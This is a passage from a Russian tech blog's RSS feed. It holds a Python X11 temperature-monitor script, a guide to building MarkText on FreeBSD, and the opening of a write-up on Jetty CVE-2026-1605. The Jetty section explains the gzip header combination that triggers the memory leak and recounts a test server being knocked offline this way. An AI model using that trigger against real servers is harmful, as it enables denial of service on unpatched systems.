  <p id="WwtU">Зато думаю теперь вы понимаете, зачем большие компании сами собирают весь свой инструментарий из исходников, почему у Google есть свои компиляторы, а у Яндекса — свои ключевые фреймворки.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/small-temperature-mon-x11</guid><link>https://blog.0x08.ru/small-temperature-mon-x11?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/small-temperature-mon-x11?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Мой маленький мониторинг</title><pubDate>Wed, 25 Mar 2026 12:21:31 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/fc/a2/fca20c7e-24d1-4f65-a3e3-6aa786b15f40.png"></media:content><category>software-development</category><description><![CDATA[<img src="https://img3.teletype.in/files/2f/9b/2f9b466b-da5b-42a6-a20c-d7202b06dd84.jpeg"></img>Делюсь очередной полезной штукой из личных разработок, на этот раз на тему мониторинга температуры в компьютере.]]></description><content:encoded><![CDATA[
  <p id="7lsg">Делюсь очередной полезной штукой из личных разработок, на этот раз на тему мониторинга температуры в компьютере. </p>
  <p id="U4Ed">~120 строк на Python.</p>
  <figure id="xmoR" class="m_original">
    <img src="https://img3.teletype.in/files/2f/9b/2f9b466b-da5b-42a6-a20c-d7202b06dd84.jpeg" width="1366" />
    <figcaption>Правый верхний угол, старая версия - с прозрачным фоном.</figcaption>
  </figure>
  <h2 id="0VH0">Задача</h2>
  <p id="LwgK">Честно говоря, задача мониторинга температуры это такой своеобразный «неуловимый Джо» — <s>ненужная</s> мелкая ерунда, реализуемая в больших системах для галочки и по остаточному принципу.</p>
  <blockquote id="GKlv">Ну и конечно отображение температуры с датчиков персонального компьютера давным давно реализовано и присутствует в виде виджета во всех основных графических окружениях и для любых ОС. </blockquote>
  <p id="8FXZ">Чаще всего это выглядит как-то так:</p>
  <figure id="nHgT" class="m_column">
    <img src="https://img3.teletype.in/files/2d/f7/2df7a631-06db-40c8-98b7-c25043eae516.jpeg" width="720" />
    <figcaption>Найдите тут температуру.</figcaption>
  </figure>
  <p id="cWHl">Это все к вопросу об уникальности, важности и полезности решения, как бы заранее отвечая на самый важный вопрос <s>бытия</s>: «нах#я я все это читаю».</p>
  <p id="e9kz">Кстати одна из первых разработанных автором систем была как раз на тему мониторинга температуры у парка серверов. </p>
  <blockquote id="Ztac">Дело было давно и сервера (как и сетевое оборудование) стояли не в охлаждаемых и чистых серверных, а где придется. </blockquote>
  <p id="nBWu">С соответствующими последствиями по перегреву.</p>
  <p id="ui3W">Выглядело оно как-то так: </p>
  <figure id="ZK0v" class="m_column">
    <img src="https://img3.teletype.in/files/65/b1/65b113be-bfa0-4c05-a63c-11a26322d64f.png" width="1366" />
    <figcaption>Данные тестовые, разумеется а сам мониторинг запущен в режиме отладки, локально. </figcaption>
  </figure>
  <p id="H5lA">Так выглядит виновник сегодняшнего торжества:</p>
  <figure id="JTRJ" class="m_original">
    <img src="https://img3.teletype.in/files/6e/cd/6ecdf107-8105-4c25-92ed-612254a6a1e7.gif" width="180" />
  </figure>
  <p id="7Qp0">Исходный код можно посмотреть чуть ниже в статье или вот <a href="https://gist.github.com/alex0x08/8f743382cc1563c3140ac86cb9e36ed0" target="_blank">тут</a> в виде gist.  Теперь рассказываю подробнее как оно все работает.</p>
  <blockquote id="OBY3">Кстати думаю для многих станет сюрпризом, что X-сервер позволяет рисовать графические элементы и текст в <strong>чужих окнах</strong>.</blockquote>
  <p id="RRlU">Без предупреждения, без индикации, без каких-то отдельных прав и тд.</p>
  <p id="NDFa">Очко сотрудников СБ только что заиграло новыми красками.</p>
  <h2 id="9ICQ">Реализация</h2>
  <p id="3DuB">Поскольку у автора используется тот еще зоопарк разных систем, хотелось сделать максимально переносимое решение.</p>
  <p id="IwQi">Хардкодить все на чистом С я посчитал излишним, поэтому был взят Python и библиотека Xlib, которая есть везде, куда еще не добрались проклятые зумеры со своим Wayland.</p>
  <blockquote id="FUwM">К моему великому сожалению, оказалось что знаменитая связка Tcl/Tk не умеет работать с root window, поэтому использовать их не получится. </blockquote>
  <p id="6BF4">Именно поэтому был взят петон, да.</p>
  <p id="KnTb">Собственно <a href="https://pypi.org/project/python-xlib/" target="_blank">эта библиотека</a> является единственной внешней зависимостью в этом проекте, для FreeBSD устанавливается вот так:</p>
  <pre id="AdvT" data-lang="bash">pkg install py311-python-xlib</pre>
  <p id="8O2x">Аналогичные пакеты есть в любом линуксе и BSD. Теперь стоит рассказать про сами датчики.</p>
  <p id="G88B">Датчики температуры в случае FreeBSD отдают свои значения через <code>sysctl</code> и требуют подгрузки специального модуля ядра. </p>
  <p id="LDup">Чаще всего это будет <a href="https://man.freebsd.org/cgi/man.cgi?coretemp(4)" target="_blank">coretemp</a>:</p>
  <pre id="ILaX" data-lang="bash">kldload coretemp</pre>
  <p id="cHmk">Чтение значений датчиков будет выглядеть как-то так:</p>
  <figure id="dx4j" class="m_original">
    <img src="https://img1.teletype.in/files/cc/be/ccbe6519-66bc-4304-abae-278b6c9f8dfc.png" width="812" />
  </figure>
  <p id="8VqE">Для процессоров AMD есть отдельный модуль <a href="https://man.freebsd.org/cgi/man.cgi?amdtemp(4)" target="_blank">amdtemp</a>:</p>
  <pre id="DvKG" data-lang="bash">kldload amdtemp</pre>
  <p id="xb6E">Названия датчиков отличаются, поэтому для чтения используется немного другой паттерн:</p>
  <pre id="1PjZ">sysctl dev.amdtemp.0 |grep core</pre>
  <p id="HK26">В случае линукса температуру с датчиков можно получить из специальной виртуальной файловой системы <code>/dev</code>:</p>
  <pre id="Zspy">cat /sys/class/thermal/thermal_zone*/temp</pre>
  <p id="fSHQ">Так это выглядит в работе:</p>
  <figure id="ExYP" class="m_original">
    <img src="https://img3.teletype.in/files/2e/6b/2e6bec8e-0b0c-47a1-976c-386fc7d528da.jpeg" width="1280" />
    <figcaption>В работе на процессоре AMD</figcaption>
  </figure>
  <h2 id="UzUS">Исходный код</h2>
  <p id="uxYm">Ниже представлен полный исходный код моей утилиты, технически это <a href="https://en.wikipedia.org/wiki/Shebang_(Unix)" target="_blank">shebang</a> — самозапускаемый скрипт на Python, поэтому его нужно сохранить с расширением <code>.sh</code> и поставить бит запуска.</p>
  <p id="OcLv">Собственно код:</p>
  <pre id="ILtr" data-lang="python">#!/usr/bin/env python3

import Xlib
from Xlib import display, X   # display и X - не импортируются автоматически
import subprocess,time,logging

#настройки логирования
logging.basicConfig(level=logging.INFO)
#logging.basicConfig(level=logging.DEBUG)

# координаты на экране для отображения
POS_X = 150
POS_Y = 50
# для FreeBSD и машины с AMD
PATTERN = &#x27;sysctl dev.amdtemp.0 |grep core&#x27;
# для FreeBSD с модулем coretemp
#PATTERN = &#x27;sysctl dev.cpu |grep temperature&#x27;
# для Linux
#PATTERN = &quot;cat /sys/class/thermal/thermal_zone*/temp | awk &#x27;{ print \&quot;temp: \&quot; ($1 / 1000) \&quot;C\&quot; }&#x27;&quot;
# шрифт
FONT = &#x27;-misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-1&#x27;
# период обновления
REFRESH_SECS = 15

last_dim = [0,0]

# определение рабочего стола
# d - display (экран)s
def get_root_window(d):
    
    screen = d.screen()
    # root window - рабочий стол по-умолчанию
    root = screen.root

    # Получаем ID всех окон верхнего уровня
    windowIDs = root.get_full_property(d.intern_atom(&#x27;_NET_CLIENT_LIST&#x27;), 
                                                  X.AnyPropertyType).value
    logging.debug(&#x27;Found %d windows.&#x27;,len(windowIDs))

    for windowID in windowIDs:
        # Create a window object from the ID to access its properties
        window = d.create_resource_object(&#x27;window&#x27;, windowID)

        try:
            # Get the window title (WM_NAME or _NET_WM_NAME)
            # Use get_wm_name() for simplicity, 
            # or look up EWMH properties for better compatibility
            window_name = window.get_wm_name()
            if window_name:
                # в продвинутых DE вроде KDE/Xfce за рабочий стол отвечает
                # отдельное окно и рисовать придется в нем
                if &#x27;Desktop&#x27; in window_name:
                    logging.debug(&quot;Found desktop ID: %d - Name: %s&quot;,
                                                 windowID,window_name)
                    return window
            else:
                # Бывает, что у окна нет заголовка
                logging.debug(&quot;ID: %d - Name: None (no WM_NAME property)&quot;,
                                                 windowID)

        except X.BadWindow:
            # Обработка ситуации, когда считываемое окно больше не существует
            logging.debug(&quot;ID: %d - Window no longer exists&quot;,windowID)
    # если отдельного окна с именем Desktop не обнаружено - рисуем
    # прямо на root window 
    return root

# очистка области
def clear_rect(msg):
    global last_dim
    # если есть сохраненные размеры - используем их
    if last_dim[0] &gt; 0:	
    	root.fill_rectangle(gc2, POS_X,POS_Y-last_dim[1], 
    	                         last_dim[0]-20, last_dim[1]+5)
    else:
        # расчет размеров надписи в пикселях
        text_extents = font.query_text_extents(msg)
        tw = text_extents.overall_width
        th = text_extents.font_ascent + text_extents.font_descent
        # очистка происходит через отрисовку черного прямоугольника
        # clear_area плохо работает с KDE
        root.fill_rectangle(gc2, POS_X,POS_Y-th, tw-20, th+5)
        # запоминаем размеры надписи для следующей очистки
        last_dim = [tw,th]

# отрисовка сообщения на экране
# msg - текст сообщения
def draw_message(msg):
    # очистка области
    clear_rect(msg)
    # отрисовка текста
    root.draw_text(gc, POS_X, POS_Y, msg)
    display.flush()

# инициализация подключения к Х-серверу
display = Xlib.display.Display()
screen = display.screen()
root = get_root_window(display)

# Access the window ID (an integer)
root_id = root.id

logging.debug(&quot;Root window ID: %d&quot;,root_id)
# для реакции на события
root.change_attributes(event_mask=X.ExposureMask)  # &quot;adds&quot; this event mask
# создание графического контекста, белый текст на черном фоне
gc = root.create_gc(foreground = screen.white_pixel, 
                    background = screen.black_pixel)
# дополнительный контекст для заливки области черным
colormap = screen.default_colormap
color = colormap.alloc_named_color(&#x27;black&#x27;) 
gc2 = root.create_gc(foreground=color.pixel)

# загружаем шрифт, которым будет отрисовываться текст
# если шрифт с таким названием не будет найден - вылетит ошибка
try:
    font = display.open_font(FONT)
    gc.font = font.id
except Exception as e:
    logging.exception(e)
    exit(1)

try:
    # бесконечный цикл, в котором происходит все действо
    while 1:
            # запуск процесса для получения значений датчиков
            process = subprocess.Popen(PATTERN, 
                    shell=True, text=True,
                    stdout=subprocess.PIPE)
            # в этой переменной будет массив строк со значениями   
            stdout_list = process.communicate()[0].split(&#x27;\n&#x27;)

            out = &#x27;&#x27;
            # делаем чистку
            for s in stdout_list:
                # убираем ошибочные строки, если нет : - нет и значения
                if &#x27;:&#x27; not in s: continue
                kv = s.split(&#x27;:&#x27;)
                # добавляем запятую в качестве разделителя 
                if len(out) &gt; 0: out+= &#x27;,&#x27;
                # добавляем значение датчика в строку
                out+= kv[1]

            logging.debug(out)
            # отрисовываем полученную строку
            draw_message(out.encode())
            # задержка между итерациями
            time.sleep(REFRESH_SECS)
            
except KeyboardInterrupt:
        # при нажатии Ctrl-C делаем очистку области экрана, где
        # происходила отрисовка виджета
        x = POS_X // 2
        y = POS_Y // 2
        root.clear_area(x,y,last_dim[0]+x,last_dim[1]+y,True)
        display.flush()</pre>
  <p id="cyyR">Как видите тут нет ООП и нет многопоточности — реализация максимально упрощена. Также не стал городить считывание параметров, поэтому ключевые настройки находятся в самом скрипте.</p>
  <p id="aGEx">Настройка логирования:</p>
  <pre id="qN5c" data-lang="python">logging.basicConfig(level=logging.INFO)
#logging.basicConfig(level=logging.DEBUG)</pre>
  <p id="47Wx">Координаты для отображения на экране (левый нижний угол):</p>
  <pre id="rYKw" data-lang="python">POS_X = 150
POS_Y = 50</pre>
  <p id="9vzy">Выбор паттерна для считывания значений датчиков:</p>
  <pre id="s9Ri" data-lang="python"># для FreeBSD и машины с AMD
PATTERN = &#x27;sysctl dev.amdtemp.0 |grep core&#x27;
# для FreeBSD с модулем coretemp
PATTERN = &#x27;sysctl dev.cpu |grep temperature&#x27;
# для Linux
PATTERN = &quot;cat /sys/class/thermal/thermal_zone*/temp | awk &#x27;{ print \&quot;temp: \&quot; ($1 / 1000) \&quot;C\&quot; }&#x27;&quot;</pre>
  <p id="Vy3j">Шрифт, которым будут отображаться значения температуры, указывается в <a href="https://wiki.archlinux.org/title/X_Logical_Font_Description" target="_blank">специальном формате</a>:</p>
  <pre id="HTaj" data-lang="python">FONT = &#x27;-misc-fixed-medium-r-normal--13-120-75-75-c-70-iso8859-1&#x27;</pre>
  <p id="vSBF">Частота обновлений в секундах:</p>
  <pre id="au26" data-lang="python">REFRESH_SECS = 15</pre>
  <p id="SNwc">Так виджет выглядит на Ubuntu и Xfce:</p>
  <figure id="CSi5" class="m_original">
    <img src="https://img2.teletype.in/files/94/20/9420f876-89dc-4e5c-87cf-2071ba733948.png" width="1366" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/marktext-on-freebsd</guid><link>https://blog.0x08.ru/marktext-on-freebsd?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/marktext-on-freebsd?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Запускаем MarkText на FreeBSD</title><pubDate>Mon, 16 Mar 2026 08:09:51 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/74/c8/74c8dee6-b3d2-4572-9bd4-f5a00d4bb89c.png"></media:content><category>unix</category><description><![CDATA[<img src="https://img1.teletype.in/files/8e/79/8e79d902-53d0-46cb-9db4-687d19661c6a.jpeg"></img>Очередные ужасы из тяжкой жизни пользователей BSD или что делать, когда нужная программа ненавидит вашу операционную систему.]]></description><content:encoded><![CDATA[
  <p id="zl7H">Очередные ужасы из тяжкой жизни пользователей BSD или что делать, когда нужная программа ненавидит вашу операционную систему. </p>
  <p id="14Ta">В помощь начинающему, продолжающему и заканчивающему автору. </p>
  <figure id="hNuH" class="m_original">
    <img src="https://img1.teletype.in/files/8e/79/8e79d902-53d0-46cb-9db4-687d19661c6a.jpeg" width="1920" />
  </figure>
  <h2 id="VoHB">Очко электрона</h2>
  <p id="7P1e">Следующим по уровню безнадежности занятием на FreeBSD, после <a href="https://blog.0x08.ru/bitnet-running-on-freebsd" target="_blank">нейросетей</a> и <a href="https://blog.0x08.ru/dotnet-on-freebsd-yeee" target="_blank">разработки на .NET</a> является работа с приложениями на <a href="https://www.electronjs.org/" target="_blank">Electron</a>.</p>
  <p id="qPCM">Широкие народные массы требуют <a href="https://github.com/electron/electron/issues/3797" target="_blank">это</a> и уже очень давно:</p>
  <figure id="iuyL" class="m_original">
    <img src="https://img4.teletype.in/files/7d/9f/7d9f3aef-f71e-4f39-9608-eae6d312afd5.png" width="927" />
  </figure>
  <p id="zMDY">Но ввиду разных причин (в первую очередь идеологических), официальной поддержки все также нет. </p>
  <p id="ewMb">И скорее всего не будет никогда.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="UFXL">Зато есть <a href="https://github.com/tagattie/FreeBSD-Electron" target="_blank">неофициальный форк</a>, который успешно заехал в пакетную базу и довольно давно там живет.</p>
  </section>
  <p id="G2Ym">Форк очень даже живой:</p>
  <figure id="KdAO" class="m_original">
    <img src="https://img1.teletype.in/files/07/0d/070d2612-7d1e-40d4-9b2e-557989154dcb.png" width="1337" />
  </figure>
  <p id="aW04">Как можно заметить из истории коммитов выше — идет активная разработка и прием пул-реквестов.</p>
  <p id="QQMP">Но как обычно есть нюанс:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="N9fD">Electron это <strong>фреймворк</strong> для построения десктоп-приложений с помощью одноименного движка.</p>
  </section>
  <p id="PEQp">Но портировали на FreeBSD только движок Electron, без средств сборки конечных приложений на нем. </p>
  <p id="Awdh">Речь в первую очередь про <a href="https://www.electron.build/" target="_blank">electron-builder</a>: </p>
  <blockquote id="R7wn">A complete solution to package and build a ready for distribution <a href="https://electronjs.org/" target="_blank">Electron</a>, <a href="https://proton-native.js.org/" target="_blank">Proton Native</a> app for macOS, Windows and Linux with “auto update” support out of the box. </blockquote>
  <p id="DoG4">Это не означает, что приложение на Electron не будет работать на FreeBSD совсем, но и не значит, что полноценная разработка таких приложений там возможна. </p>
  <p id="Yg7e"><strong>Немного работает</strong> — так это обычно описывают.</p>
  <figure id="QVY5" class="m_original">
    <img src="https://img3.teletype.in/files/61/ec/61ecfbd3-1a52-4e99-9c06-5ec6ea883040.png" width="834" />
  </figure>
  <h2 id="QFT1">MarkText</h2>
  <p id="t4Oj"><a href="https://marktext.me/" target="_blank">MarkText</a> это такой редактор для <a href="https://en.wikipedia.org/wiki/Markdown" target="_blank">Markdown</a>-разметки, один из самых лучших, известных и популярных:</p>
  <blockquote id="qLiR">A simple and elegant open-source markdown editor that focused on speed and usability.</blockquote>
  <p id="opZ0">Именно его я использую для верстки своих статей и документации.</p>
  <p id="aLJL">К сожалению редактор построен на том самом Electron, поэтому для нормальных людей, не отягощенных двумя десятилетиями разработки нет вариантов его использования на FreeBSD — ни в Wine, ни с помощью <a href="https://docs.freebsd.org/en/books/handbook/linuxemu/" target="_blank">слоя совместимости с Linux</a> эта штука не работает.</p>
  <p id="CJdx">Хотя пожелания <a href="https://github.com/marktext/marktext/issues/3505" target="_blank">есть</a>:</p>
  <figure id="CH4u" class="m_original">
    <img src="https://img4.teletype.in/files/34/d9/34d98528-19de-40c4-8f8d-095b4b5744b4.png" width="974" />
  </figure>
  <h2 id="ThSk">Скотская сборка</h2>
  <p id="Zolt">Как бы это ни было удивительно, но Node.js и npm давно и успешно работают во FreeBSD, поэтому все спокойно устанавливается из пакетов:</p>
  <pre id="F1ka" data-lang="bash">pkg install node25 electron37 npm-node25 </pre>
  <p id="QElG">Забираем исходники редактора:</p>
  <pre id="T7qR" data-lang="bash">git clone --depth 1 https://github.com/marktext/marktext.git</pre>
  <p id="gP9f">Активная разработка по какой-то причине остановлена, народ <a href="https://github.com/marktext/marktext/issues/4132" target="_blank">начинает беспокоиться</a>, поэтому я не стал заморачиваться релизными версиями и собирал из текущей ветки. </p>
  <p id="CosU">Сборка использует еще один пакетный менеджер — <a href="https://yarnpkg.com/" target="_blank">yarn</a>, который необходимо установить с помощью <code>npm</code>:</p>
  <pre id="PNCL" data-lang="bash">npm -g i yarn</pre>
  <p id="cYtr">Дальше начинается первый нюанс:</p>
  <blockquote id="mJd3">необходимо отключить скачивание бинарной сборки Electron, поскольку ее не существует для FreeBSD.</blockquote>
  <p id="9Yxu">Перед запуском скачивания зависимостей, необходимо выставить <a href="https://www.electronjs.org/docs/latest/tutorial/installation" target="_blank">специальную переменную</a>:</p>
  <pre id="Pbgp" data-lang="bash">export ELECTRON_SKIP_BINARY_DOWNLOAD=1 
yarn install</pre>
  <p id="qwhd">Через какое-то время (скачивание зависимостей в проекте на Node.js — <strong>очень</strong> долгий и болезненный процесс) в корневом каталоге должна появиться папка <code>node_modules</code> откровенно скотских размеров:</p>
  <figure id="EMbk" class="m_original">
    <img src="https://img4.teletype.in/files/3f/dc/3fdc4fab-3b1b-4512-a356-304bd0cec9cc.png" width="1025" />
  </figure>
  <p id="KQxp">Следующим шагом необходимо убрать искусственную заглушку, вставленную автором MarkText для того чтобы редактор не пытались запускать там где не надо — частая практика для проектов на Electron.</p>
  <p id="mkpH">В файле <code>src/main/index.js</code>есть вот такой замечательный код:</p>
  <pre id="Pu7i" data-lang="javascript">// NOTE: We only support Linux, macOS and Windows but not BSD nor SunOS.
if (!/^(darwin|win32|linux)$/i.test(process.platform)) {
  process.stdout.write(&#x60;Operating system &quot;${process.platform}&quot; is not supported! Please open an issue at &quot;https://github.com/marktext/marktext&quot;.\n&#x60;)
  process.exit(1)
}</pre>
  <p id="6qSa">Не представляю кто смог упороться до такой степени, чтобы гонять десктоп-приложение на Electron на Солярисе, но думаю не будет откровением, что вызов <code>process.exit(1)</code> необходимо закомментировать для продолжения банкета.</p>
  <p id="v8Pk">Теперь переходим к собственно сборке.</p>
  <p id="8BmT">Штатно сборка MarkText происходит вызовом команды <code>yarn build</code>, но если посмотреть внутрь файла <code>package.json</code>, в котором находятся все команды сборки, увидим:</p>
  <pre id="MLA4" data-lang="javascript">..
&quot;build&quot;: &quot;node .electron-vue/build.js &amp;&amp; electron-builder&quot;,
..</pre>
  <p id="N0Qg">Вызов <code>electron-builder</code> очевидно упадет, поскольку он не был портирован на FreeBSD и плотно завязан на готовые бинарные части и ветвления логики под конкретную поддерживаемую ОС.</p>
  <p id="wU5P">Так что вызываем лишь первую часть, причем вручную (без всяких yarn):</p>
  <pre id="1Pj5" data-lang="bash">node .electron-vue/build.js</pre>
  <p id="Nmmd">Должен отработать webpack, sass и в каталоге dist будет находиться готовое к запуску приложение на Electron.</p>
  <p id="8FB7">К сожалению в «обнаженном» виде, без прилепленного рантайма, что однако никак не мешает его запустить:</p>
  <pre id="taDC" data-lang="bash">electron37 dist/electron/main.js</pre>
  <p id="U7VA">Так выглядит запущенный MarkText на FreeBSD, в работе над английскими версиями статей:</p>
  <figure id="k2mc" class="m_original">
    <img src="https://img1.teletype.in/files/85/36/8536f375-91a9-4870-bf7b-ffe040ec6627.png" width="1322" />
  </figure>
  <p id="u6Ms">Для удобства использования можно перенести каталоги <code>dist</code> и <code>node_modules</code> в отдельное место:</p>
  <figure id="EDts" class="m_original">
    <img src="https://img4.teletype.in/files/7f/f8/7ff80e71-80bc-47a3-ad86-15295a32e5c5.png" width="1085" />
  </figure>
  <p id="IfKc">И запускать вот таким скриптом:</p>
  <pre id="MFPd" data-lang="bash">#!/bin/sh

/usr/local/bin/electron37 dist/electron/main.js</pre>
  <p id="DeiR">Готовый <a href="https://t.me/alex0x09/2665" target="_blank">архив со сборкой</a> можно скачать в нашем Телеграм-канале.</p>
  <p id="oDlB"></p>
  <h3 id="U9h4">Update 02.05.2026</h3>
  <p id="kI4n">С момента написания статьи в FreeBSD появилась обновленная версия Electron 3.9, <strong>несовместимая</strong> с 3.7, пакет с которой еще и удалили.</p>
  <p id="bQp7">Что еще печальней, сам Marktext работает с еще более старой версией, зависящей от устаревшей Node.js 18, биндинги к которой более не совместимы с 25 и выше в новом Electron.</p>
  <p id="KpJY">Поэтому собирать придется с помощью Node 22:</p>
  <pre id="11pf" data-lang="bash">pkg install node22 electron39 npm-node22 </pre>
  <p id="JBNX">Второй печальный нюанс — блокировка ресурсов ElectronJS для доступа из РФ, поэтому для сборки, во время которой присходит скачивание заголовков Node.js необходимо выставить прокси:</p>
  <pre id="tBCj">yarn config set httpsProxy 103.131.232.9:8080</pre>
  <p id="8ONi">Для отладки:</p>
  <pre id="uu5t" data-lang="bash">export DEBUG=electron-rebuild</pre>
  <p id="mIVM">Для проверки скачивания архива с заголовками:</p>
  <pre id="v49a" data-lang="bash">wget -e use_proxy=yes -e https_proxy=103.131.232.9:8080 https://artifacts.electronjs.org/headers/dist/v18.0.4/node-v18.0.4-headers.tar.gz</pre>
  <p id="ZBMF">Но это еще не все.</p>
  <p id="D0rF">Собранная с таким трудом сборка упадет при запуске с вот такой ошибкой:</p>
  <pre id="ZpfZ">TypeError: features.isDesktopCapturerEnabled is not a function</pre>
  <p id="bkTt">Чтобы ее увидеть надо задать две переменные окружения:</p>
  <pre id="59aW"> export ELECTRON_ENABLE_LOGGING=1
 export ELECTRON_ENABLE_STACK_DUMPING=1</pre>
  <p id="rGJP">Для исправления необходимо закомментировать два блока в конце файла <code>@electron/remote/dist/src/common/module-names.js</code>:</p>
  <pre id="GmaA" data-lang="typescript">const features = get_electron_binding_1.getElectronBinding(&#x27;features&#x27;);
/*if (!features || features.isDesktopCapturerEnabled()) {
    exports.browserModuleNames.push(&#x27;desktopCapturer&#x27;);
}*/
/*if (!features || features.isViewApiEnabled()) {
    exports.browserModuleNames.push(&#x27;ImageView&#x27;);
}*/</pre>
  <p id="TNbn">которые и порождают ошибку.</p>
  <p id="No0R">Конечно это адский костыль и времененное решение, но обновлять Marktext целиком на новую версию Electron — сил не хватит.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/jetty-leak-cve-2026-1605</guid><link>https://blog.0x08.ru/jetty-leak-cve-2026-1605?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/jetty-leak-cve-2026-1605?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Март, Jetty и утекшая память</title><pubDate>Tue, 10 Mar 2026 11:10:40 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/50/c5/50c5f4c1-8240-48d2-8c18-78d4b8b786a3.png"></media:content><category>software-development</category><description><![CDATA[<img src="https://img3.teletype.in/files/6b/ff/6bff1c1b-fbd0-4e6a-8aad-444bf2a0d4c5.jpeg"></img>За окном весна, на улице уже вовсю и ярко светит солнце, поют птички и тает последний снег. А в знаменитом сервере Jetty обнаружилась новая дыра космических масштабов.]]></description><content:encoded><![CDATA[
  <p id="7FEw">За окном весна, на улице уже вовсю и ярко светит солнце, поют птички и тает последний снег. А в знаменитом сервере Jetty обнаружилась новая дыра космических масштабов.</p>
  <figure id="czyv" class="m_original">
    <img src="https://img3.teletype.in/files/6b/ff/6bff1c1b-fbd0-4e6a-8aad-444bf2a0d4c5.jpeg" width="1366" />
    <figcaption>Почти 4Гб сожранной памяти меньше чем за минуту работы.</figcaption>
  </figure>
  <h2 id="bzNw">Статус</h2>
  <p id="HSbz">Номер уязвимости: <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-1605" target="_blank">CVE-2026-1605</a></p>
  <p id="Jg8A">Вектор атаки: <em>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</em></p>
  <p id="dfRn">Уровень: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2026-1605&vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H&version=3.1&source=Eclipse%20Foundation" target="_blank">7.5 HIGH</a></p>
  <p id="gezn">..</p>
  <p id="FiZG">acidburn96: хочешь фокус покажу</p>
  <p id="7mEZ">alex0x08:  только не как в прошлый раз ж)</p>
  <p id="4JEF">acidburn96: стенд проекта [вырезаноцензурой] еще работает? </p>
  <p id="7zbI">alex0x08:  работает, пока еще не успели снести</p>
  <p id="ZUNQ">acidburn96: открой его в браузере</p>
  <p id="mFw5">alex0x08:  открыл</p>
  <p id="gSfK">alex0x08: и что дальше?</p>
  <p id="o2We">acidburn96: жди</p>
  <p id="ijQQ">acidburn96: жди</p>
  <p id="Gk3f">acidburn96: жди</p>
  <p id="mtUo">acidburn96: проверяй</p>
  <p id="lDv5">acidburn96: жми F5</p>
  <p id="O7lA">alex0x08:  так блин</p>
  <p id="NcXs">alex0x08:  слыш Копперфильд </p>
  <p id="CY6X">alex0x08:  и где стенд? куда все делось?</p>
  <p id="83hH"></p>
  <figure id="NnFv" class="m_original">
    <img src="https://img4.teletype.in/files/7c/b4/7cb463de-88d8-499c-a51a-9fbd7b4c009e.png" width="970" />
    <figcaption>Шапка с описанием уязвимости в Github Advisory Database, который я теперь читаю каждое утро вместо новостей.</figcaption>
  </figure>
  <h2 id="MWXk">Уязвимость</h2>
  <p id="vERB">Еще в январе 2026 года в проекте Eclipse Jetty — такой очень известный сервлет-контейнер для Java, была обнаружена <a href="https://gitlab.eclipse.org/security/cve-assignment/-/issues/79" target="_blank">серьезная проблема</a> с обработкой сжатых входящих запросов.</p>
  <blockquote id="AkqX">Догадываюсь, что далеко не всем из читателей известно о том что помимо сжатых ответов (статику сжимают наверное все), бывают еще и сжатые <strong>запросы</strong> к веб-серверам, поэтому <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Encoding" target="_blank">вот тут</a> немного больше информации о таком замечательном функционале.</blockquote>
  <p id="1Gow">Как бы то ни было, в начале марта информация по этой проблеме была <a href="https://github.com/advisories/GHSA-xxh7-fcf3-rj7f" target="_blank">выложена в публичный доступ</a>.</p>
  <p id="qfjO">Правда без PoC и с весьма мутным описанием:</p>
  <blockquote id="HT0S">The leak is created by requests where the request is inflated (<code>Content-Encoding: gzip</code>) and the response is not deflated (no <code>Accept-Encoding: gzip</code>). In these conditions, a new inflator will be created by <code>GzipRequest</code> and never released back into <code>GzipRequest.__inflaterPool</code> because <code>gzipRequest.destory()</code> is not called.</blockquote>
  <p id="VwaS">Что впрочем не помешало восстановить логику работы по одним только <a href="https://github.com/jetty/jetty.project/pull/14262/files" target="_blank">коммитам</a> с исправлениями. </p>
  <p id="P53X">В чем суть:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="kAE2">при обработке входящих запросов к серверу с заголовком <code>Content-Encoding: gzip</code> и сжатым содержимым, в некоторых случаях происходит утечка памяти.</p>
  </section>
  <p id="fO2C">Чтобы это сработало, необходимо чтобы клиент присылал только заголовок <code>Content-Encoding: gzip</code>, но не присылал <code>Accept-Encoding: gzip</code>, по наличию которого включается сжатие ответов.</p>
  <p id="RNRy">Надо заметить, что в обычной жизни такая комбинация невозможна и например Google Chrome отправляет заголовок <code>Accept-Encoding: gzip</code> <strong>всегда</strong>, вне зависимости от того сжат ли запрос.</p>
  <h2 id="EwD2">Зона риска</h2>
  <p id="ZT4j">Хотя проблема затрагивает только 12ю версию Jetty, но зато <em>все релизы</em> с 2023 года и по март 2026го, страшные красные плашки на артефактах вот <a href="https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-server/versions" target="_blank">тут</a> не дадут соврать.</p>
